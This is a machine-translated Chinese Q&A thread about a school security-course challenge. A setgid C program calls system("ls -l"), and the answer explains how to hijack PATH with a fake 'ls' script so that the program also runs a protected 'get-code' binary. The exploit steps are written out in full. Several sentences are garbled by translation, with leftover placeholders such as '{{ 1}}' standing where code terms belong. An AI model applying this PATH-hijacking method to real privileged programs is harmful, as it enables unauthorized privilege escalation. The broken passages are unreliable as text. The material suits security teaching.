我收到了修改后的ls
:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main(int argc, char **argv){
gid_t egid = getegid();
setregid(egid, egid);
printf("This is a special NSA-modified 'ls' program. Due to security reasons it can only run 'ls' without user parameters.\n");
system("ls -l");
return 0;
}
我需要运行修改后的ls
来运行一个名为get-code
的程序,但我不知道如何欺骗此代码中的system
函数不仅执行{{ 1}}还有ls -l
。这是一个从学校开始的课程,我可以在网上向老师询问,课程是如何更好地保护课程,不要在代码中留下任何安全漏洞。
有人能帮助我吗?这不是一个重复我只是想知道如何欺骗get-code
所以我可以使用这个system
代码执行它
答案 0 :(得分:0)
您可以创建本地ls
,例如
#!/bin/bash
/bin/ls -l
/courses/InetSec1/challenge6/get-code
然后将此脚本(您应该将其命名为ls
并运行chmod a+x ls
以向其添加执行权限)放在某个目录中,例如~/bin/
,并将此目录添加到您的路径export PATH=$HOME/bin:$PATH
。
在此之后,如果再次运行该程序,它将运行本地ls
,因为system()
将在子shell下运行您的命令,并且该shell将搜索在{{中运行所需的命令1}}。